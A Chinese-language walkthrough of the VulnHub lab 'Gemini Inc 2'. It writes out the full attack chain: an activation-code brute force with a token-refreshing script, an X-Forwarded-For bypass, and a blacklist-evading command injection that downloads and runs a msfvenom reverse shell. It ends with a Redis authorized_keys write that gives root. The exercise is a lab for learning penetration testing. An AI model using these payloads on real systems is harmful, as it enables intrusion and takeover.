Gemini Inc 2 walkthrough (靶场通关小记)

PS

https://www.vulnhub.com/entry/gemini-inc-2,234/

主机发现

./fscan -h 192.168.74.0/24 -nobr -nopoc

image.png

nmap -A -T 4 -p 1-65535 192.168.74.130

image.png

开放22、80两个端口

信息收集

目录扫描

gobuster dir -u http://192.168.74.130/ -x php,txt,bak,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image.png

漏洞利用

注册账户

打开网站,需要先登录,根据上方的目录扫描结果有一个注册账户界面

访问http://192.168.74.130/registration.php注册界面,注册账号

image.png

注册后登录,网站提示账户需要激活,且激活码是6位数字

image.png

激活账户

上方目录扫描还有/activate.php,访问后是一个激活的表单,需要键入用户id与激活码

image.png

用户id可访问账户My Profile,得知账户id;已知激活码的格式是6位数字,可通过爆破激活码来实现账户激活

发送POST请求需要携带上一次响应的token,可通过yakit的热加载模块中的beforeRequest方法来获取token并替换

image.png

填入代码,保存后退出

beforeRequest = func(req) {
// 发送GET请求,获取响应
rsp, _, err = poc.HTTP(`GET /activate.php HTTP/1.1
Host: 192.168.74.130
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESS22bb0594418fc295ad28fff326bac0cd=GbPbiiuXjTOLKQFOa_JBKrfPGSUEI6QPmyVUHe5VTFk; csrftoken=QsoZJsj98YZE2yxe4kRRcLlaRjafUN42NX0gkS22DcPPPL6VRSNbmNv3lofsC3Mq; PHPSESSID=b96n1vj1remvocmcfq79at5le1; user=test; pass=a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
`)
if err != nil {
    return req
}
// 获取GET响应的Set-Cookie
cookie = poc.GetHTTPPacketHeader(rsp, "Set-Cookie")
node, err = xpath.LoadHTMLDocument(rsp)
if err != nil {
    return req
}
// 通过xpath语法获取token的值
tokenNode = xpath.FindOne(node, "//input[@name='token']")
if tokenNode == nil {
    return req
}
token = xpath.SelectAttr(tokenNode, "value")
// 替换token
req = req.ReplaceAll("__TOKEN__", token)
// 替换cookie
req = poc.AppendHTTPPacketHeader(req, "Cookie", cookie)
return req
}

开始爆破,根据响应长度排序观察,得到结果如下

image.png

返回主页,用户已成功激活

使用Gemini登录网站

点击User List,得知管理员账户是Gemini

尝试SQL二次注入实现修改管理员密码,无法注册该用户 Gemini'#

没辙了,Google信息收集以下,原来是查看该用户页面的源代码有密码

image.png

得到密文如下,MD5解密得到密码 https://www.somd5.com/

edbd1887e772e13c251f688a5f10c1ffbb67960d
secretpassword

使用Gemini登录

利用Admin Panel功能GetShell

打开后访问403错误,使用Yakit查看响应信息,内容如下

HTTP/1.1 403 IP NOT ALLOWED
Date: Mon, 20 Jan 2025 05:39:03 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8


提示IP不允许,在请求体上加上X-Forwarded-For: 127.0.0.1,即可访问页面

除了X-Forwarded-For: 127.0.0.1这个HTTP头,该页面请求时需要携带上一次响应的token,使用热加载功能提取token后替换,步骤同上方的激活账户

根据目录遍历结果/blacklist.txt,部分黑名单过滤代码如下

//$blacklist = array(' ', 'wget', '&', '&&', '$' ,'|' , "\\", "(", ")", "%", "!", "<");
$blacklist = array(' ', '`', '&', '<', '>', '{', '}', '|', "\\", '(', ')', '%', 'cat', 'more', 'less');
    if ((strposa($_POST['testcmd'], $blacklist) === false)) {

过滤蛮多的字符,可以使用以下方式绕过空格

IFS=",";var1="wget,http://192.168.1.113,-O,/tmp/test.txt";$var1

msfvenom生成木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 -f elf > shell.elf
# 启动web服务
python -m http.server

msf启动监听

use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.74.129
set LPORT 4444
exploit

victim执行以下命令(Yakit payload)

wget http://192.168.74.129:8000/shell.elf -O /tmp/shell.elf
chmod +x /tmp/shell.elf
/tmp/shell.elf

# POST请求体中
testcmd={{urlescape(IFS=",";var1="wget,http://192.168.74.129:8000/shell.elf,-O,/tmp/shell.elf";$var1)}}&token=__TOKEN__
testcmd={{urlescape(IFS=",";var1="chmod,+x,/tmp/shell.elf";$var1)}}&token=__TOKEN__
testcmd={{urlescape(/tmp/shell.elf)}}&token=__TOKEN__

获取shell

image.png

提权

ssh写入公钥(权限维持)

# 生成ssh密钥对
ssh-keygen -t rsa
# 保存路径输入 ./id_rsa

# 上传 id_rsa.pub公钥
# 将公钥写入到authorized_keys文件

mkdir ~/.ssh && touch ~/.ssh/authorized_keys 
cat id_rsa.pub >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && chmod 700 ~/.ssh/

# 用ssh秘钥远程登录
ssh -i id_rsa gemini1@192.168.74.130

常规提权

信息收集

cat /etc/passwd
cd ~
ls -la
sudo -l

啥也没有

看网站目录,找下数据库信息,frp做端口转发,用navicat连接数据库后,啥也没有

image.png

继续收集信息

meterpreter > netstat

image.png

目标服务器有redis服务,redis一般权限比较高,尝试利用redis提权

redis提权

查看redis进程的用户

gemini1@geminiinc:/tmp$ ps aux | grep redis
root       348  0.1  0.7  43300  3672 ?        Ssl  Jan19   0:23 /usr/local/bin/redis-server 127.0.0.1:6379

root权限运行,权限很高

查看redis连接密码

cat /etc/redis/6379.conf | grep requirepass
# If the master is password protected (using the "requirepass" configuration
requirepass 8a7b86a2cd89d96dfcc125ebcc0535e6

使用密码连接redis

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

成功连接

利用redis写入公钥

ssh-keygen -t rsa # 生成SSH公钥密钥
# 保存路径输入 ./id_rsa

# 写入txt
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt # 将公钥写入key.txt文件
# 需要转成txt才可以成功写入,尝试直接cat id_rsa.pub失败

# 将该key.txt文件上传至目标服务器后,
# 把key.txt文件内容写入redis缓冲
cat key.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set pub

# 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
# 若无/root/.ssh目录,使用ssh服务,以生成/root/.ssh目录

gemini1@geminiinc:/tmp$ redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> save
OK

使用ssh私钥连接目标服务器

ssh -i id_rsa root@192.168.74.130

image.png

image.png

posted @ 2025-01-21 10:14  lrui1  阅读(43)  评论(0)    收藏  举报